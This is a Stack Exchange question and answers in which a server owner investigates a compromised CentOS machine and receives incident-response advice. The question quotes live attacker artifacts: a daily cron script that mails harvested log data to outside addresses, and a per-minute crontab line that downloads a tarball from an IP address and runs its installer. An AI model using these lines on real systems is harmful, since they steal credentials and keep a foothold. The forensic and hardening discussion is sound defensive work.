4

I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it was happening randomly, it was hard to detect. I followed help from this blog article:

http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/

This led me to search through each of the apache modules and eventually found a module that was injecting the malware. It went under the name of mod_string_mime.so and was being loaded through /etc/httpd/conf.d/mailman.conf to avoid detection. Very frustrating. So, the module is now deleted and the mailman.conf file is back to normal.

Digging further, I installed and ran rkhunter. Upon running this, I found a warning for a suspect file in /etc/cron.daily/ called dnsquery. In this file, this is what it looks like…

#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail unul_catalin@yahoo.com -s "$(hostname -f)" < test
mail cata@catalinx.org -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

I've tried to delete this file but it keeps coming back every minute. The owner and group is 'psaadm'. I can't find how it's being created. I assume it's generating through plesk cron or something.

I also found this in the crontab:

*   *   *   *   *   chattr -AacDdijsSu /bin/; cd /root ; wget http://77.241.87.75/xpsa/skdet.tgz; chmod +x skdet.tgz; tar zxvf skdet.tgz ; cd skdet ; ./inst; rm -rf /usr/share/misc /root/sk* /tmp/nc* /root/ssh/;

which doesn't look right.

Any suggestions on how to proceed or locate the intrusion?

jonsca
  • 343
  • 1
  • 6
  • 21
davidbehan
  • 141
  • 1
  • 3
  • I wrote up [some advice here for how to figure out how you were compromised](http://security.stackexchange.com/questions/9234/server-compromised-for-2nd-time-cannot-locate-source-of-attack/9259#9259) a while ago. It also includes advice for how to improve your setup so that next time something happens you will know. Scott Pack wrote an [introduction to Auditd](http://security.blogoverflow.com/2013/01/a-brief-introduction-to-auditd/) that you should read too. – Ladadadada Feb 17 '13 at 00:19
  • That crontab entry is bizarre and interesting. If you google for skdet, you find that it's a circa 2008 rootkit detector. skdet.tgz seems to constitute a rootkit, albeit one that has 2004 dates on all files. The readable parts look ancient, and like they don't work. I bet the crontab entry isn't the real rootkit, just some vestigial code left in the real rootkit. – Bruce Ediger Feb 17 '13 at 18:18
  • Say hello to Unul Catalin... maybe... [link](https://www.facebook.com/unul.catalin) [link](https://www.facebook.com/ce.belea.5) – ruief Feb 19 '13 at 14:50

2 Answers2

6

First things first. Your machine was compromised, and several things were installed to keep it compromised. This cannot be salvaged; the machine should be cleansed with fire. You will not be able to avoid a complete format & reinstall. Your system is dead; shed a tear on it, then move on.

Now, we are only talking about post-mortem analysis. The crontab visibly downloads every minute a package (the "skdet.tgz" file) which is then uncompressed and launched, and does a few... interesting things. For instance, it automatically plunders and sends by email your /etc/shadow file. You may want to download the file on another machine, uncompress it, and inspect the contents (do not launch any file in it !); it is instructive.

The package contains a "message" in which the rootkit author claims that he did not break anything and that he could help in removing the rootkit if contacted, although he does not speak about any conditions. This could be a genuine scientific experience which got out of hand; this could also be a more mundane case of ransoming.

Tom Leek
  • 168,808
  • 28
  • 337
  • 475
  • Thanks for that. Yes, I've come to realise that the only thing to do is to build a new server and move everything. Annoying but tear has been shed. Can you offer any advice on building the new server and this I can do to be more secure next time. I'm not really a sys admin and thought hosting company were looking after this sort of thing but obviously not. Any advice would be greatly appreciated. – davidbehan Feb 16 '13 at 22:39
  • 2
    Well, this will look harsh, but to administer a server you really need a system administrator. Basic advices include: applying published security fixes daily; deactivating any service which does not need to be maintained; running detection systems to increase the likeliness of being warned upon next compromise. But, really, find a sysadmin. – Tom Leek Feb 16 '13 at 22:44
  • I'm looking at changing host tbh. I've fallen into the sysadmin role due to needing to make changes, etc. but no formal training. Will enlist more security and sysadmin services by new host. Thanks for your advice. – davidbehan Feb 16 '13 at 22:53
4

Well there is only one thing you can do:

enter image description here

Now best thing is to refer to the stub about this on serverfault.

If you are using your webserver for hosting different websites, the best thing you can do is make sure every site has its own user which is jailed. This will reduce the risk of getting your system compromised. (There might still be vulnerable binaries that might lead to privilege escalation, so you need to make sure you patch your machine asap when security patches come out). For instance suphp is made specifically for this purpose and executes the code under its owner and not under the user your webserver is running.

Furthermore I advice you to harden your machine using Web Application Firewalls and Host Intrusion Detection systems. This will reduce the amount of possible attacks.(This needs some tweaking as it might interfere with services)

Community
  • 1
Lucas Kauffman
  • 54,169
  • 17
  • 112
  • 196